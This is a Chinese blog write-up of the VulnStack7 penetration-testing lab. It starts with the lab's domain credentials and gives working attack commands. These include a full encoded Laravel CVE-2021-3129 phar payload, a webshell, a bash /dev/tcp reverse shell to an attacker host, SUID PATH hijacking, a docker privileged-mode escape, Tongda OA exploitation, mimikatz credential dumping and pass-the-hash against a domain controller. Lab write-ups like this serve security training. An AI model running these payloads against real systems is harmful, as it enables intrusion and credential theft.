红日靶场 VulnStack7

这是两段时间打的靶场了,所以前后IP不一样。
image.png
这样的网络配置
三层域网络在:192.68.93.0的c段
二层网络:有52的网段,也连通三层网络的93段
DMZ:处于192.68.52.0的c段 与kali连通,若是不连通 获取权限后也就是多做一层代理
只用到了 Vmnet1 和6 网卡
image.png

域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260

第一层边界突破

Laravel RCE 写shell
通过访问 http://100.66.189.168:81/ 页面发现是Laravel框架 版本是8.29.0
image.png
通过搜索引擎找到此版本存在CVE-2021-3129漏洞
Laravel框架介绍
aravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。
漏洞描述如下:
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
影响版本 Laravel<=8.4.2

先使用CVE-2021-3129工具检测是否存在此反序列化漏洞
https://github.com/zhzyker/CVE-2021-3129

这些poc都需要借助phpggc工具脚本来生成,需要在linux下使用。

检测到多条pop都可以利用
image.png
image.png
漏洞利用过程
利用链子过程
1.生成poc

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

注意在最后加上一个a,不然会不可用
image.png

2.发送数据包,先清空日志

"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"

image.png
3.给log增加一次前缀,用于对齐

"viewFile": "AA"

image.png

4.发送编码后的POC作为viewFile的值

"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=50=00=31=00=52=00=63=00=6D=00=49=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=50=00=31=00=52=00=63=00=6D=00=49=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=47=00=7A=00=6B=00=46=00=79=00=39=00=71=00=44=00=71=00=50=00=41=00=6D=00=79=00=66=00=78=00=42=00=68=00=63=00=6C=00=52=00=49=00=5A=00=4E=00=56=00=41=00=77=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"

image.png

5.再次发包,清空对log中的干扰字符

"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"

image.png

6.进行phar://反序列化 执行phpinfo,需要使用绝对路径

"viewFile":"phar:///var/www/storage/logs/laravel.log/test.txt"

image.png

但是我这里失败了,重新发包回去查看,这里报错无法打开流
image.png

原理不是很懂,还是使用写好的工具来直接写shell文件
这里使用这个exp来直接写入文件,看了下源码 步骤和前面基本一样,poc直接编码好放在函数里
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
image.png
image.png
检查成功写入
image.png
这里使用哥斯拉来连接结果发现死活连接不上,全部返回为空的信息。最后发现使用3.0以下的版本才能连接,于是去作者网站看到
https://github.com/BeichenDream/Godzilla/releases
image.png
想必这个对应木马的poc一定使用的是3.0版本以下提供的webshell
这里使用2.9版本成功连接
image.png
发现ifconfig ip add 这些执行都不行
image.png

简单的信息收集一下
使用 cat /proc/self/cgroup 命令查看
发现这个奇怪的系统果然是个docker
image.png

proc文件系统

proc文件系统是linux 中比较重要的的一个文件系统,在sysfs文件系统没有出现之前,它可以说是用户层获取内核层信息的唯一方式,它是一个一种特殊的、由软件创建的文件系统,proc内的文件并不是真正‘real' 文件,而是一种描述进程信息的伪 文件系统(process information pesudo-file sysrem), 被用来描述系统运行信息(比如系统内存,设备挂载,或者是硬件配置等).常常用来控制或者描述内核信息。

先反弹一个shell到kali上

bash -c "bash -i >& /dev/tcp/192.168.52.128/7869 0>&1"

image.png
[

](https://blog.csdn.net/weixin_42730667/article/details/113871447)
这时想要进行docker逃逸,需要提高我们的权限,这个www-data用户权限很低
我们find寻找搜索具有SUID或4000权限的文件,这里发现了一个shell文件,很显眼

find / -perm -u=s -type f 2>/dev/null

image.png
进入到home/jobs目录下查看
image.png
shell文件能运行

然后利用环境变量劫持提权,这里应该是/bin/bash 多写了个斜杠

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

image.png
提权成功
image.png

docker特权模式逃逸+ssh写密钥连接

ubuntu web1 getshell

还是fdisk -l 查看一下挂载目录
image.png
然后mkdir 一个break目录
然后mount 挂在break目录上去
image.png
此时便可以带着break目录去逃逸使用了
image.png
写入定时任务执行wget msf的木马

尝试了多次后发现定时任务文件是写上去了,但是定时任务不执行。

还有一种办法是通过ssh写密钥

首先查看到逃逸主机的ubuntu目录下的 .ssh隐藏文件
image.png

生成ssh公钥
image.png
然后再.ssh目录下查看pub公钥
image.png

写入免密登录密钥,注意写入的格式echo后面空一格
image.png
然后ssh连接 成功免密登录
image.png
这里发现100.66.189.168主机还有一个网卡 IP为192.168.52.10
image.png

上线到msf
生成elf木马
image.png

msf开启监听
image.png

在ubuntu上下载运行
image.png

msf成功上线
image.png

查看看到52.10网段的ubuntu1 已经拿下了
image.png

真实情况下用proxychain代理出来用namp扫就好了,这里是nat通的就直接扫
image.png
可以看到30存在8080端口
image.png

第二层网络渗透

ew反向代理+burp两重代理

这个52本来是我VMnet6的nat网卡段,结果我物理机居然VMnet6 IP和这个不一致,这就造成了隔离
image.png
不过正好 就类比实际情况的内网隔离了,ok现在用ew反向代理出网,
本来kali通过ubuntu是可以的代理访问到52的,但是各种原因kali本身就在52段,然后这里就直接在win7上用ew代理
首先vps的两个端口要把防火墙打开
-l是我们去连接的,-e是受害机器连接
流量会从666转发到798
image.png

然后谷歌配置代理就能访问了
image.png

但是谷歌这个SwitchyOmega插件同时配置了socks5代理和burp本地代理就会出问题,所以还是用火狐。
首先配置浏览器两个代理
image.png

然后burp在options处设置socks5代理
image.png

然后就可以正常抓包了
image.png

win7 30getshell

任意用户登录

通达v11的oa,漏洞很多,随便网上找个rce
这里直接是未授权获取登录session
image.png

然后抓包访问/general/ 页面添加上session
image.png
结果这个靶场的oa授权过期了,md登录上来就喊激活

未授权写文件

直接未授权写入图片马
image.png

然后到文件包含的地方执行命令
这里应该有回显才对,应该是系统没授权了 所以显示不了
image.png
正常到这就可以rce了的,那么我就直接上线到cs了

第三层域渗透

信息收集

对win7信息收集,发现了一个93新的网段
image.png

这里用20扫描出了 10、30、40这三台机器
image.png

收集域信息,这是在 dc.whoamianony.org的域
image.png

扫描30的主机信息,显然这很可能是DC
in 2012 R2 Datacenter 9600
image.png

扫描40的主机信息
Win 7 Professional 7601 SP 1
image.png

fscan扫描

内网扫描还是得fscan,用cs 直接upload传过去
image.png

fscan扫描结果
image.png

扫描整个93的c段
image.png

会在当前目录生成一个result.txt 可以查看
image.png

PTH横向攻击

ok接下来试着抓密码
用ms15简单的提个权限
image.png

导出system.hive和sam.hive后导入到mimikatz 然后直接抓
这里获取到DC的密码和此win7 bunny的明文密码
image.png

net use网络映射连接域控

NTML也有可以进行pth攻击,但是有明文了可以直接用net use来连接了
结果一直没连接上不知道为啥
image.png

最后发现是tmd命令后面多打了个斜杠 ,难受
net use \\DC.WHOAMIANONY.ORG\ipc$ "passwd" /user:"administrator"
image.png

直接远程桌面连接域控

结果在win7上可以直接用账号密码就连接上了域控,完成!
image.png

pth攻击域控

image.png
迁移父进程到弹出的cmd中
image.png
也可以直接在远程桌面win7上连接
image.png

posted @ 2022-08-23 17:37  Erichas  阅读(1152)  评论(0编辑  收藏  举报